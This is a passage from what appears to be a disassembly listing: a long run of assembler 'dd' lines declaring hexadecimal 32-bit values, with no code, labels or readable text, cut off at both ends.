3D95E27Ah dd 0E94A7DADh, 0D1728D53h, 0F94A8992h, 59D1C87Ch, 0D414A107h dd 5E9D1E31h, 0BD181638h, 0D461D514h, 0EB2FFDF5h, 28621E95h dd 33F50FA2h, 4C4F8A91h, 0ABEE0A3Bh, 0D5764E2Bh, 49ED2280h dd 5ADB472Fh, 472D304Fh, 16F40AE4h, 991761C3h, 38198EE7h dd 0AD70DE14h, 742B5D7Dh, 0D31468FCh, 96066FAh, 0B38042B9h dd 22A8F494h, 3D1E02Bh, 17AADE4Ah, 0C7E5D28h, 6FD8CCBBh dd 710DD00Ch, 78CAB5F2h, 9F5F94A5h, 6869DF39h, 0D6F2C625h dd 42757445h, 2C673FF9h, 0A6187E20h, 28A305EDh, 0EE9376F1h dd 0AF2789B6h, 0ABA35551h, 0C2A953B6h, 0E64E62B1h, 8D71FDF2h dd 7933561Dh, 4C198509h, 5F4C7C30h, 4FE02B29h, 6202DCECh dd 3C11DC53h, 0F1C09FF5h, 539757h, 7C602D9Dh, 81A2F26Ch dd 484113FCh, 74ED7628h, 7EC47D7Eh, 5ED8366Dh, 1B77B1BBh dd 0E81F4878h, 0E467F489h, 815C0C47h, 2E602BF0h, 36CF286Ch dd 3F9BFAE6h, 0EC9A5189h, 0BCB7BADh, 4DF91393h, 0FE38D12Eh dd 753A6670h, 8ED85D27h, 0A29978BBh, 9F88EAE4h, 0EE8A4EF1h dd 0D4CD1054h, 5732F2EBh, 3D27BD2Ch, 984406D3h, 3CDD4852h dd 6B7E1660h, 0C228A26Ch, 3C24EC7h, 0F259E341h, 45CBD11Fh dd 16AF5F0Fh, 19285453h, 0B8F495ACh, 78C51E6Dh, 0FBDB2485h dd 3D7E86EAh, 0DFB755A3h, 7EE8D961h, 9F087F85h, 168418FFh dd 415FC3Ah, 0EF49E764h, 5E4E60DFh, 0CEA908C9h, 9AD64CDCh dd 0ADD87CBDh, 992C649Ch, 0A6A77778h, 1EF6B15Dh, 26F75A90h dd 0B66B62FFh, 2E1680E3h, 75D2A07Ah, 0C215D3CCh, 769E4543h dd 8BDE7E0Dh, 0B89FE5ACh, 648EBE95h, 68CBEC6h, 0A2312BEFh dd 0FD58C967h, 566A9A37h, 16240B0Bh, 1AF10D36h, 8A94CFBFh dd 1DB81358h, 0BD333CB0h, 0D501FF35h, 0F664BE2Dh, 0CD1E3C90h dd 63EA3720h, 612977D4h, 7F377E6Bh, 0D457BA97h, 6D49758Eh dd 6FD06A60h, 0F2945646h, 31AF090h, 0D531E17Dh, 6681598Ah dd 0C61C5AB4h, 4E3A17B5h, 5C099A08h, 5FF1537Dh, 0F872F921h dd 8FD6AFE5h, 0B862BDD4h, 280F314h, 62E7DFF3h, 0E277D958h dd 6C9E01B7h, 7ACCFC78h, 6313E5F6h, 98C77F85h, 47E469B0h dd 4004B061h, 0B826D29Ch, 222A3213h, 1182EFE8h, 0EAF09EBAh dd 571AD371h, 4D442592h, 0E4DA5F35h, 0D1162213h, 0F8E92028h dd 0EB629D3Eh, 0A2137187h, 0C005F312h, 0DA0732AAh, 0EB00F71h dd 94ECF9BEh, 0F166C252h, 0B400FD31h, 7C7DCE7h, 0F922CBB9h dd 8AE9C826h, 491AC0Eh, 0FAE46E8Eh, 0FA663094h, 0D7495E0Fh dd 4A24A772h, 2818DB00h, 0AB5541h, 7C89E8BAh, 83F9AABDh dd 9D32E2D6h, 12EF882h, 57B55C3Eh, 8B7B4CABh, 0FBD9C315h dd 0F5551517h, 9B762C38h, 0E08A8475h, 0B70D439Bh, 0D5C63443h dd 4CFAB0A8h, 0C80F15h, 55E78BD8h, 0D6462B73h, 2AEFF3CFh dd 0ACBEE8A1h, 18917DECh, 8934A1C6h, 833FBE08h, 0BB27491h dd 552A9A18h, 49084FB7h, 4CE61E7Eh, 0A841EA59h, 4D0CE33Ah dd 0FB11D546h, 603DB8C9h, 0BCCDE03Eh, 0D4467CFDh, 3D681BCCh dd 0A0A56C55h, 418D75E6h, 0FAAECC91h, 4FF7C43Dh, 22F01C03h dd 905E7F45h, 8C6B42D5h, 0FA818AC7h, 6A85532Fh, 1660942h dd 0DB6D13FCh, 0CA290361h, 0C97093D9h, 0FD86DB3Bh, 83013AF3h dd 0E593F609h, 3121A08Dh, 812C4099h, 6A6E09FCh, 7E4BFCF4h dd 90B2F5ACh, 6B83D4C3h, 7B3EF98Fh, 8C183367h, 4A5AC7FAh dd 0DC9C0924h, 19D88C6h, 0C26C2A05h, 0A4281714h, 0D524EC4Ah dd 0BE231148h, 8092BEB4h, 0CD6B5B1Ch, 9C8C2133h, 0E5E85506h dd 29BF377Dh, 0D302F1Dh, 704DE78Bh, 47D58893h, 0D0CB9A39h dd 0B8603DCDh, 9FE09FC5h, 5DB2650Ah, 1C66B0E9h, 0F4133A29h dd 0E49284BAh, 3619AC3h, 74AAF3B1h, 6EF6A359h, 0BBCB54A9h dd 0DDA5C81Dh, 8CC194EEh, 54322111h, 181106E4h, 0B0A6D024h dd 0D71024A9h, 424CC144h, 9DC8277Dh, 2E213E71h, 1D5478F7h dd 875244CCh, 66E0AD2Ah, 3FA72251h, 612EA181h, 0FD07E48Ah dd 388E028Ch, 0C58EA87Dh, 0F080AA6Fh, 0D8B86AA6h, 38607484h dd 94709345h, 19E78D70h, 0A40AE4DBh, 5F7625A2h, 0D1DA92E7h dd 0D261DF8Ah, 7DCBF0B8h dd 0D7AD9073h, 0BB3CF72Eh, 55F39DEBh, 11F1E786h, 0B0F1DF65h dd 0C33DF3F3h, 0BB991038h, 80DBFC6h, 0C369F2D9h, 0EBB0A7D2h dd 0A08D6580h, 8F7B241Eh, 0AF7F8D85h, 66FBB9ACh, 0BF367557h dd 53E61514h, 9875A940h, 0FD01A953h, 26103E9Fh, 0D0419AEFh dd 0BCE805FCh, 6F234B73h, 496C0C2Ah, 0E2E9A29Ah, 0B4B797E1h dd 0DD06C0F2h, 78880FF4h, 0A6024AEDh, 760D3710h, 0AEA95EE2h dd 0F0C4B6CCh, 2737D23Bh, 82E84EFDh, 709A29A7h, 0EE63BA90h dd 448D67A9h, 49A18F41h, 1140D7FCh, 0FB329949h, 94EFD64Bh dd 368B7402h, 825CA161h, 173C4A5Dh, 0E43DD544h, 3F9DB9D8h dd 0FD91C53Fh, 0C0BE5C45h, 9393C5D4h, 8B2CC472h, 9E9A255Ah dd 0EC2B5C4Ch, 0F865CE9Ah, 93D7A533h, 1EAB9AF3h, 0E0680B45h dd 0A41322CDh, 8C31F41Ch, 0C3C89BAFh, 9D11A12Dh, 0BB2EE681h dd 0B9E7628Fh, 88D23C82h, 857866ADh, 34E1628Dh, 9CF379B3h dd 684BF002h, 0C79C1B1Ah, 7A886B8Ch, 0B1C51C6Fh, 72B6AD0Ah dd 2CEEFFF0h, 79C203C5h, 0ABEDDA31h, 8F523B35h, 0E246913Ah dd 0C0BD132Eh, 0FFA7404Ah, 29727CA3h, 0C748523Fh, 4A84A7CDh dd 0CB42DA4Ah, 0D8E85516h, 0DCC3B756h, 0CBCC5F2Fh, 0E726AE95h dd 0DA8B0575h, 4FD8B8F1h, 60612E9Fh, 5BE456F4h, 7DDF3914h dd 0CCAD9AE9h, 52940707h, 22723730h, 0EBB632A4h, 4E7BBDC1h dd 0F7A3617h, 0B96E4095h, 0DFFC53E7h, 0A588D55Bh, 6C4C9457h dd 0BF8047AEh, 7CEFE210h, 423436FAh, 5486CE46h, 259465FFh dd 0E2D541F0h, 0A7494C23h, 0C791A13Dh, 369BC14Dh, 7614D5B0h dd 0C7F6968Bh, 1EA3F136h, 0C6B61B32h, 20532F83h, 5E01175Ch dd 66FF1914h, 0DDDD8481h, 8E1E7AA3h, 1BF28627h, 7BC2F522h dd 0C061004Dh, 0D1745D4Bh, 0D3479BC6h, 6C5C9749h, 5D47E2A2h dd 0DFA58AD5h, 1EA7D714h, 0A6F84476h, 5B400FDCh, 6D5D294Ah dd 0DD2B0CC6h, 3DC64CF3h, 8BAE2BD7h, 0C4CDD8E2h, 0BBB79174h dd 0F8E1DD77h, 0A4F67514h, 6CE44D97h, 16B95CDEh, 6CE5CA2Ch dd 8DCC47F2h, 0CEE30941h, 0C40863B7h, 0AA73BFE8h, 0EA9F6998h dd 0EE6574B2h, 8E7AAABh, 4A65BA3Fh, 0F4DC6872h, 6E6D7E28h dd 0C424F682h, 51FEA7DBh, 2BE48CD5h, 0D847A5CDh, 0C5EC7BD4h dd 2EF107AAh, 36CBBFD6h, 0B4EA3E19h, 8DE4CB59h, 0A635F9C1h dd 7306D7E4h, 0BECF8CFh, 8CA0DB34h, 67F310F8h, 0B6562185h dd 0B645E06Ah, 742A278Bh, 714C2055h, 8055068Ch, 0EFA24B62h dd 80FC53Ch, 0E451AAh, 6B9844D8h, 48E0B91Ch, 0A3552937h dd 8CB5404Ah, 2EDE1C4Dh, 52266482h, 8100BC8Fh, 73CE6ECCh dd 4AA4616Bh, 0C3D237F1h, 8B838CDFh, 58861C39h, 0ECBD63B8h dd 67A41DF8h, 2188B8D4h, 43668A06h, 0DF1B847Ch, 0FB6F8585h dd 0FE900143h, 0C489CFBEh, 49A4D56Ah, 0E2BD71E9h, 1B435902h dd 286FB7BAh, 623BA3CDh, 81B4DDB6h, 32F5FFB1h, 0E7E25652h dd 8DBA4268h, 8C83EEEDh, 91E5AECCh, 333EFBC8h, 476DF132h dd 84DF1A4Ah, 52A46D4Ch, 44DF0C5Bh, 0A4AA6759h, 0CCBA76EAh dd 32EEBDB2h, 0FC3CC3F4h, 74BBCB48h, 23C3EA73h, 0EC0BA30Eh dd 1121E5E6h, 89C02ECAh, 95FB07DFh, 3A43FDB8h, 0FF91822Fh dd 963B6C65h, 0E54A6411h, 0E29BEAA5h, 17EE5098h, 2649DB3Dh dd 124ADAB6h, 8A317962h, 522BC6B0h, 65F20BA0h, 93A3F70Ch dd 7E9652D7h, 0E72B2273h, 3598D8AFh, 6E7BD09Fh, 0F9F97862h dd 20AB28C3h, 0AF27ECCAh, 35040E4Ch, 0BBD13AA6h, 7CCA0A8Fh dd 5039535Fh, 0B68633F5h, 3C289602h, 0AEAD5934h, 0B1535AF0h dd 6A6C5E33h, 329EDEACh, 0C3D5DE0Ah, 0A1AF05E9h, 6478613h dd 5B3F1DA1h, 0B7DEB946h, 44C0976Ch, 44345ECAh, 0F9CF73DAh dd 6714B351h, 300FD770h, 0E86ACA7Ah, 93D013D6h, 2FF6B37Eh dd 7C77124Fh, 8D54F620h, 0D395AE8h, 5A61CA76h, 30788190h dd 0DDE37010h, 0E57222C0h, 62230FA2h, 52F11815h, 0A3E1F948h dd 7AD368F8h, 610792Eh, 0F24D4E8h, 46EC7FBEh, 9FBD917h dd 34F876ABh, 0B2396C6h, 0EE75CB89h, 9D039326h, 0F2228101h dd 0C8172034h, 61695591h, 0CB83BDFDh, 0A7A89CC1h, 232BA1A0h dd 0D6BEC6DDh, 0E28C1609h, 0A7110DA7h, 2F25E144h, 0F63CD966h dd 20B662F3h, 0B75C978Ah, 90376689h, 0DB3F4BF6h, 5B9F962Fh dd 0C6C005Dh, 16866CBh, 52B7E911h, 716469D9h, 73D08015h dd 3306D526h, 773B7E77h, 55E374C0h, 9EB55EEEh, 329D605Eh dd 56073B83h, 2C765AB0h, 2605CE31h, 3BC5D79h, 8BABB5ABh dd 4FC035ECh, 87827119h, 7BA95666h, 4B180218h, 0FCA9203Ch dd 0CD9A67CAh, 0A633D3C0h, 8CFEFA1Ch, 0A6A2099Eh, 7AEF43F6h dd 0D24DB79Bh, 978199C4h, 516C16h, 0A9CDC4E8h, 114054BBh dd 5A25B78Fh, 1B2355C6h, 47CAFE1Dh, 3A3C9EA6h, 60A52B12h dd 1B8B1938h, 1B8F53E0h, 0DEB64424h, 0EC3C7799h, 555AC7Fh dd 0FB45A310h, 0BF8BDDCAh, 0C88947BBh, 6B909F07h, 1F5518B3h dd 31C2BA4Bh, 4C287B7Dh, 6898B9Eh, 0C235829Bh, 0DD48CCEBh dd 53DF4172h, 0CF7312EBh, 0D8389BF6h, 0A3304A1Ah, 4CED1CC4h dd 23C1D26h, 0D9FBADD8h, 0A5A958F7h, 0F81A046Ch, 58883593h dd 0E535F135h, 33164DFAh, 57179D38h, 247276B6h, 84D0DE3Eh dd 6E5219F4h, 8ED0F020h, 3B14803Ch, 0B914E30Fh, 8CE17AC9h dd 0B24E3264h, 0E88BF14Bh, 1FE15825h, 5D97D17Ch, 1472DDC5h dd 0B672EFF6h, 76C17E16h, 8CF49E36h, 227AEAEDh, 7AF9E994h dd 0C7B486AFh, 443E3FC8h, 519EAB04h, 15C5692Eh, 0A1BEA1FCh dd 3C8900FAh, 0BA1CCE0Ah, 61BDED36h, 63225B35h, 5B3821AEh dd 3C88AD29h, 893BD376h, 0B61C529Ch, 2FF2E4FDh, 0CED3BFE2h dd 48C6F9B9h, 0C13C96F5h, 0FD5BF176h, 59E4419Fh, 0A9995544h dd 2DD5A1F6h, 0B0661701h, 871561C4h, 3A016894h, 0E6808554h dd 0D666067Fh, 300A9906h, 0E4DA8D5h, 0A9523285h, 78E110D1h dd 0E1ACC4Fh, 27CA1DC4h, 98B9D68Fh, 0F63C99AFh, 864CAE9h dd 4053081Fh, 49629696h, 0C9DF473Fh, 47FF5908h, 0BD0DCF09h dd 0F1EB926Fh, 3299E145h, 0D67DC2C6h, 2CAAA451h, 21871A75h dd 0ECB398E9h, 5F28C050h, 5F5DDC2Eh, 0FEF328EAh, 0B5E4A663h dd 6DBD3167h, 7B66DBFCh, 16055AD1h, 0DCAD819Bh, 0A611056Eh dd 527A8433h, 3DB3C4F8h, 0C94B1BE4h, 845F45B8h, 7C814CE9h dd 1D86527Ch, 0BB09E27Ah, 140C5AD3h, 8BDA468Dh, 0B4ADAF40h dd 0BE811741h, 3FDF9D75h, 6099A5EFh, 80C5C1DEh, 263E7002h dd 68226078h, 8CC696F0h, 0BB020B9Dh, 0BE9A55F8h, 711D77DCh dd 84D9FFFh, 0A3005807h, 25F0B513h, 7548FD16h, 3A04952Ch dd 3E113DBDh, 4CE93B4Bh, 52C76430h, 0BB0D26B0h, 343D95BDh dd 0B6131E6Ah, 0A804C1D8h, 637761B9h, 4564D7C6h, 5FC1A219h dd 0E6407BEFh, 21473D19h, 9AE75FEBh, 84B727EEh, 7233C46Eh dd 288F8A23h, 7FEB08Bh, 1D39B46Ah, 0A05B3DEDh, 476656Eh dd 0F94BC236h, 0E3837BECh, 8FA2FA26h, 86137C8Bh, 17F232CEh dd 0E6855708h, 925DA73Fh, 0ECBE243Ah, 0DD93EF9Dh, 0B64B4195h dd 9384186Dh, 0D327EA29h, 7DAFEC30h, 75B97488h, 86D720AAh dd 0DFDEDB32h, 606D8C91h, 2F11F869h, 4795741Ah, 177ADBBDh dd 877FD8B8h, 39A52966h, 71430B6Fh, 423D4731h, 0BCEA0F17h dd 0D18EB6E9h, 0EE038083h, 86102C59h, 45D8FFFBh, 0A42FCFE5h dd 0BB3C90EEh, 4A9EDE2Bh, 0B1435C3Ch, 49573BA1h, 0B9752DA3h dd 0EB02C714h, 0F9390DA0h dd 185FFBB3h, 0F2581B92h, 0A53C9069h, 659AE306h, 0FAAA7886h dd 0E42E77Dh, 1A44F6A5h, 7047DA58h, 4DA5A419h, 0A278E8EBh dd 0E7C1B452h, 0F9DDAA1Eh, 0C7203C0Dh, 1B53CC9Eh, 0C885A360h dd 2B0BBA1Bh, 0E9FB6512h, 0D09F364Bh, 76F67DC3h, 7415EFCCh dd 0DB467A88h, 84E85668h, 2FAE187h, 0F38176CEh, 0E5A4971h dd 4504290Ch, 8354C1CCh, 5FC72FBCh, 4C4BD148h, 6C9C83BEh dd 51EC32D9h, 54E66F36h, 4C2740D7h, 0BD03E05Eh, 960CF34Ah dd 3AD80371h, 3B8C1DE6h, 0D787E6DBh, 48EE0C74h, 947F4E59h dd 1C1BDF52h, 95F63325h, 5D3C2D53h, 0E2BB6583h, 0BE476B0Fh dd 757061EEh, 341943A7h, 0F2CABA0Dh, 0BDC52015h, 3A3C7F03h dd 8F81C966h, 5EAAA441h, 0C548EA86h, 402123BDh, 0B6D67DA1h dd 0C26F1D2Eh, 0E7BB76DAh, 18177453h, 0AAB66ECFh, 98878EB2h dd 858B93E3h, 0B4598CB9h, 356D5DCEh, 465C4A79h, 4B88E1A8h dd 2F5811CBh, 0DF8B786Ah, 0ADC6B37Eh, 7F81001Ch, 45DFF188h dd 3F10BDF5h, 9B3B2084h, 0E2899B4Bh, 0DE44FE5Bh, 6B4D9ABAh dd 76FBFACBh, 0CC822925h, 0A1945C27h, 6850CC36h, 2695B191h dd 0E05C01E7h, 0F2036326h, 5C96614Dh, 6BE1D15Eh, 3C211161h dd 0A238E5E2h, 799D7C2Ch, 0C018E1BBh, 0D32F77D6h, 605610E2h dd 16C7AB77h, 26EC2019h, 139A9C9Eh, 0F9A317ADh, 6B4804D6h dd 0A2746F7Fh, 9AC87AE0h, 0C1B6115Fh, 0F69B74E9h, 778C0D6Ch dd 30E9BA30h, 1144A85h, 0C1B9694Ah, 301C8CFAh, 1D174246h dd 0E3156260h, 44082CBCh, 662289B7h, 67292FA1h, 77DA5F5Ch dd 60C892CFh, 70C764AFh, 0ADC3BFF2h, 0C0D44FA8h, 2545B716h dd 428A0C65h, 66258B86h, 93F28892h, 9361D73Ch, 788A4080h dd 4F22BBBCh, 0FDA3759Bh, 0FE85EF29h, 13FE9B68h, 2F86275Fh dd 0C6769CA8h, 80031AE8h, 0D0D85936h, 0AC32E0C5h, 0AF4C7CA7h dd 0D60C0240h, 0EFEB962Fh, 0DD0B8D39h, 0AC797416h, 3451113Bh dd 0EFCD291Eh, 945F2053h, 2EA81h, 897D566Eh, 76040A9h dd 7BDE72E7h, 881052EEh, 5F17522Bh, 2C59DB41h, 522674E6h dd 3B57B217h, 0CA3C8AADh, 0C0227032h, 7729D005h, 0A058AD28h dd 5EFBDB4Ah, 31C789BAh, 0E95D59E6h, 0FCCD798Bh, 0DA700B39h dd 94CE344h, 5D146D75h, 0EA9CC19Dh, 766C8EA3h, 31485EF6h dd 0E52B8AB5h, 0B7F3F154h, 0F8B6DA0h, 9824BF78h, 5040180Ch dd 814A316Fh, 38CFAD13h, 64B7869Eh, 0CBC2BDECh, 0E60CACC4h dd 261C5F5h, 14C92F75h, 0BBE64F9Dh, 1AAF041Eh, 0E2A45E50h dd 633A1749h, 597A2DCDh, 0A4F87856h, 99536B9Ch, 38E50D44h dd 316E33F3h, 25300C7Ch, 0F75964DFh, 0B3EB4B96h, 0EDD36F5Eh dd 0B6B796AFh, 4A4AA55Bh, 0B2CF4CCBh, 9A4403C5h, 0CF2298E0h dd 8A74F282h, 0D774F3A6h, 99299C1Bh, 36FA6796h, 0B68FF3A7h dd 5A9A26FFh, 3EE59F2Bh, 888F5B61h, 986C1822h, 0D45EDCD1h dd 0AF0EE541h, 78D83DDCh, 0E58B4046h, 8563949Bh, 0EC0F6C06h dd 8C09C578h, 23786E18h, 0F30CCB50h, 0A15B10FBh, 8869AC7Fh dd 0D109BEB1h, 78F68BB4h, 0E80933C6h, 5B00B23Eh, 477F8CA9h dd 68110E04h, 9A80A117h, 0ABAC5986h, 9F991345h, 877386CBh dd 9CA57E07h, 121F8E89h, 57D110AAh, 30158718h, 57AF5E82h dd 8D05F94Ah, 1FEC3A8h, 393D6941h, 40D708E6h, 818875A2h dd 2A899A39h, 5EA22A09h, 8374CDE2h, 6494DE69h, 92771AEBh dd 73EDA7A1h, 2ACE418Fh, 862CA3BEh, 0B5EDCEEEh, 1E79A698h dd 39AFD536h, 7C9B4DEBh, 0A621A81Ch, 429F16E8h, 5590A4C9h dd 821474DFh, 271D0ABBh, 53A3F391h, 22DB81D7h, 88DFF88Ch dd 1295CB84h, 64C89EDFh, 72EA378Fh, 0A95A114Dh, 38E01C1h dd 6B3A3AD1h, 0BA2A77DBh, 0A5D15916h, 3D785697h, 164FABC9h dd 0FE5D3D2Ah, 0F5C73986h, 0C4A10E27h, 0CF07874Bh, 11F0EAA7h dd 5E8F51CFh, 0BFF09089h, 4F01FA71h, 0AA8AEF9Fh, 0BE465778h dd 6B7AFB90h, 0FE2023BDh, 0BD6120DCh, 91C47261h, 5CBEF3E7h dd 7CE7ABC9h, 0CD2E5269h, 914B5169h, 0B53C8781h, 7BBA7A67h dd 6165FF87h, 4CCEB4C3h, 73AD4300h, 0BB73FB28h, 9B72AF30h dd 7D3C99A7h, 547944A5h, 7441F614h, 8AD480Fh, 0D2BD420Ch dd 0AF33D17Ch, 73D997B1h, 90F0BD40h, 0E4EBD99Fh, 7946AD0Dh dd 486C60DAh, 0C8597398h, 0AF1B1A2Dh, 7D9449C5h, 1B4F576h dd 0D8C22FD2h, 6F3B7738h, 463380F4h, 9B734FD3h, 0B26C20F5h dd 34FCDBCCh, 0F8C59393h, 4ED47BCFh, 556E9F04h, 2F61FFB3h dd 237C3F57h, 0CDED5B83h, 56B81601h, 9731FDA9h, 85864355h dd 0E5E9A4C9h, 6F092512h, 213E833Ch, 0EC519C68h, 0F0A749E3h dd 921F384Dh, 0D1118126h, 0D6612037h, 0DE784BFDh, 0C2FC5C06h dd 0CEBFB2CAh, 0BF6CDA38h, 2A22D7B6h, 0C1C36912h, 0EAB69065h dd 0F7BDF32Dh, 39BC4B08h, 5EAFAF32h, 0E8BCF99Ah, 1514CB00h dd 0AC81B112h, 0DE4F18E4h, 518CE45h, 0C5946Ah, 525957F9h dd 199041B5h, 8FC98422h, 23E9955Bh, 43EC06A4h, 74EDAED4h dd 3FBA6CDFh, 3257E3CBh, 4EC4089Ah, 6014DA16h, 0C6FC3F49h dd 65990A08h, 0D2EA3C0h, 0CDD19Dh, 6FC99485h, 47C8EEFAh dd 45B01BF5h, 9A44657h, 1C92DFCBh, 55B6C821h, 98FE935h dd 975CC270h, 6D1B3D2h, 617BA68h, 24B1A64Fh, 4E752470h dd 2BF491D5h, 0FDDAF50Ah, 0BB52ED9Bh, 6C2E98CEh, 92038740h dd 6D7C9A0Bh, 0E464E7C3h, 0DDCD31A1h, 8DC27C78h, 0E44F141h dd 0E7688940h, 720CA59Dh, 0E3BD9BDAh, 48C34DF9h, 0C59B488Ah dd 18DB5E66h, 0E9E6572Ah, 7095AE91h, 1341B140h, 8814C6D8h dd 167D640Ch, 0A5879EB4h, 0E2D5BA6Ch, 0FED30140h, 31185688h dd 9EB1B27Ch, 0CD1278A2h, 0C006D4h, 0DDA91B98h, 3CDBAD89h dd 0ADC70DDDh, 0CA826107h, 0C1101718h, 477041F8h, 0BD374E6Bh dd 5BDB6E99h, 3B7DD8FBh, 48A06D6Fh, 9C4D47F5h, 21D267B9h dd 0B8104ADBh, 8D67BA10h, 0A991E294h, 27C2A38Fh, 2D27300Ah dd 0F98A5BCEh, 858C20DEh, 0FE306A41h, 0BA8CE3FDh, 896CDECBh dd 0F6C359A5h, 0FC3E8F8h, 5CFF9072h, 0DFA429A0h, 0B8585615h dd 0FA0033DDh, 9256450Ch, 9D4C43A5h, 79D3B424h, 0AD89AD49h dd 363612D9h, 3C4F1E85h, 0D53B5E8Fh, 0D45D301Fh, 6E2ECA58h dd 7EF4D184h, 0E4348AE6h, 0AACDA1A6h, 7ED6B285h, 72BCD45h dd 0FC79FEEEh, 40BA5Ch, 930BAA7Ch, 5D3537A9h, 0BD9452CEh dd 0B0D44D49h, 38C753CDh, 14E30860h, 0B9E4406Dh, 0FA4D535Ch dd 1FAE69E1h, 1BAD5E1h, 1F7D6B7Ah, 7D6D3322h, 58923C92h dd 0BFB50775h, 203A9BC7h, 11B1B5C2h, 7A0FDBEEh, 0D02A0457h dd 0ADA94284h, 48AD15CBh, 0E9FD102Ah, 0F74ACA80h, 6A53655Ah dd 0B7CCA2BFh, 0E3E08E01h, 7F53F8D9h, 3E1D5D6Ch, 11C0973Bh dd 9E0CA383h, 0DAF31587h, 0D28FA05Fh, 7F741858h, 890E16B9h dd 3F3EB953h, 86F7BB5Ch, 5D2F7F1Dh, 20DD59A5h, 5A38AD54h dd 869A2F28h, 299EB3A5h, 0E74F40F3h, 0AD791992h, 0D4B95FAFh dd 0ACCF12EAh, 0F7B20EA2h, 0CC927C53h, 0EC7D491Dh, 0E636FFAAh dd 6C04C77Fh, 798CE47Dh, 91306ABEh, 99844BD4h, 377A1B87h dd 0D1DBADB7h, 8E9CEFD3h, 0B9C9911Ch, 40CF400Dh, 70A53312h dd 284AB416h, 0C74B7BF4h, 0F57B8ED6h, 0D196AD19h, 0E952864h dd 298134EAh, 0B600F139h, 0D24C4C1Dh, 8B652A1h, 0E815495Dh dd 760B1987h, 812FC9DCh, 2256828Fh, 63F33F51h, 226DB36Dh dd 0DF1AA9A9h, 8B513BFFh dd 93546E44h, 0C38EB7F7h, 0EF38CECEh, 0CACE08E4h, 0A003E236h dd 0C3D8515Ch, 0AA463E50h, 0A28F15C4h, 0C1D77FFh, 4A286F13h dd 0E2B08240h, 716C7D6Dh, 0C4B43C80h, 2CC0EFF0h, 0FDAF3F2Bh dd 0F6469A6Eh, 0A2F6627Eh, 0D2F5C8F4h, 0BB87BA50h, 90F877B8h dd 74F2E4Ah, 6A997194h, 91154630h, 84EC7619h, 0B405A2FEh dd 6638430Ch, 0A367ADAFh, 0E4FA497Ah, 8AC2840Fh, 0E8B779DFh dd 0C5F15258h, 7E60ADE5h, 3CDF4C6Ah, 0D43B0CB2h, 4A39490Dh dd 320E077Ah, 1B4FAFD1h, 3E0D74C3h, 0ECE90793h, 0BEDDD764h dd 6AF70640h, 0CDAB585Dh, 3229AA22h, 0F38BEF4Fh, 0A6AA32CCh dd 26D8FEBh, 5D6B416Ch, 371AEAEFh, 3AD2C59Dh, 3B64E93Dh dd 9AD46A55h, 5A636356h, 0A2003B63h, 6AF8E064h, 6473DC8Ch dd 115D5A9Fh, 4853F00h, 6666CEA6h, 1D337E65h, 0F8631BFEh dd 6E888327h, 0A5095BC3h, 0A02C5EC9h, 0A8FDA034h, 0C02E095Dh dd 0B93A8B7Eh, 0DBCFF48Fh, 0C8DBF0B2h, 0F4548CBBh, 0AE945DCAh dd 1D342FDBh, 913BFD5Ch, 2355A6E4h, 0C793C7BFh, 0A5FC865h dd 7C354A7Dh, 0FB29DEA1h, 43A34FE3h, 6E13A780h, 60320901h dd 0E51A292Ch, 9D5EB561h, 3AEA81F9h, 0D1FB6A61h, 37600221h dd 7F976617h, 605501ADh, 0D9508C7Dh, 5BE310E6h, 7AEBC12Dh dd 0F3707E5Bh, 0B145B031h, 0EDCF5645h, 3FC63DEFh, 1E02435Ch dd 0B273E051h, 0FEF12B4Fh, 43C6F02Eh, 5B4F6A4Dh, 9D628FB2h dd 0C9F868FAh, 80169A2Fh, 0D474FE7Dh, 42BCFAFEh, 88249B96h dd 5676BB85h, 3BCB2FAh, 2EB6CBD8h, 0ED70F820h, 466D136Bh dd 33838633h, 347F2819h, 0C0D50554h, 0E419B88Ch, 0AE145544h dd 4EA05E40h, 5F5DE3F6h, 0A275AF93h, 704DDC08h, 692F270Ah dd 3CDEE651h, 0EFB7F54Bh, 0BA688E5Fh, 0B8DED7B6h, 13BA8073h dd 94E45A6Ah, 43A6625Eh, 0BB9462DEh, 937E1749h, 0F6565C1Eh dd 0F0F910FFh, 0F7ADFB8h, 0DE1EC9ECh, 44011E59h, 75091B64h dd 6A1AFFFAh, 47A1F05Dh, 82CE945h, 5B6CEE28h, 61DF7BD2h dd 67E5039Fh, 0D7B1F0C3h, 345F9353h, 0C5D0C88Fh, 1AD3C2A0h dd 4CF7F740h, 0D29CB9D7h, 593A0292h, 0DA5D8876h, 0E50C19BCh dd 79BF7BBEh, 0C01975FEh, 79EF859Dh, 60F7EC53h, 0EE38CDF0h dd 1957411Ah, 0D95497B3h, 0AA42080Ah, 96F265A6h, 0A90B1EFDh dd 5BC03DF9h, 756231C4h, 0A13442FEh, 77742047h, 708F7097h dd 0DED39E78h, 587251DEh, 715AE74Fh, 0E9370F7Ch, 50286CA9h dd 0C8B90391h, 95CF2A25h, 4945CEE2h, 3103D0A7h, 4E09FEC8h dd 5F66C2E3h, 4A87DBC0h, 0C62F3B93h, 0C31C8C6Dh, 0D5690C6Dh dd 754DD7F8h, 5E7B1BC5h, 0A5B89EF1h, 1DA9B1A6h, 0DFE62850h dd 6221DADFh, 733ED03h, 0A5608FE5h, 54F725AAh, 70CC3AD6h dd 38523B7Dh, 4B37EF9Ah, 9C1E7232h, 8764EF40h, 73BD1790h dd 88A42CD2h, 12FC4E58h, 0EB50AF3h, 989BF96Ah, 0FB8C4C19h dd 91085CC7h, 6BE5AB65h, 0D0441D5Dh, 4EC88C24h, 1ACDAA21h dd 0E39CAE64h, 0E1BD71A0h, 5A5CB255h, 84B94Dh, 0F926643Fh dd 0BE60AFCDh, 0A9467E71h, 33DE55C6h, 0FE588449h, 0E99BA294h dd 38C0F31Eh, 843E4FD7h, 212D778Ch, 0A3699198h, 518CCA2Eh dd 0BAAEF95Fh, 1D397979h, 42B56F6Eh, 0F45293CBh, 0D99AD1BEh dd 0E1E81068h, 7D40A09h, 40C42582h, 0B1F88374h, 0D897BFB9h dd 88F542C2h, 12B7D310h, 178D21ABh, 118ED713h, 0F46225DBh dd 6AF88CF6h, 2D818796h, 392FCADBh, 492316ACh, 0E6AB7DC9h dd 19B2E55Bh, 0DBE50782h, 0C1099878h, 0F73FF412h, 0E22D8AC6h dd 0C0EC6931h, 0C410B950h, 367F161Dh, 9E08B689h, 515FC8E3h dd 996F1DBDh, 0AC8912EFh, 7DC1903Ah, 5C30ACB2h, 0D1D1D39Eh dd 0F7735AF7h, 24AB077Bh, 6A39CF12h, 895FBA8Ah, 15DB50DAh dd 2A01AEC6h, 45E9A768h, 9CBE63C6h, 0F010B24Bh, 0CBD6CDB9h dd 257EFCE9h, 454044F0h, 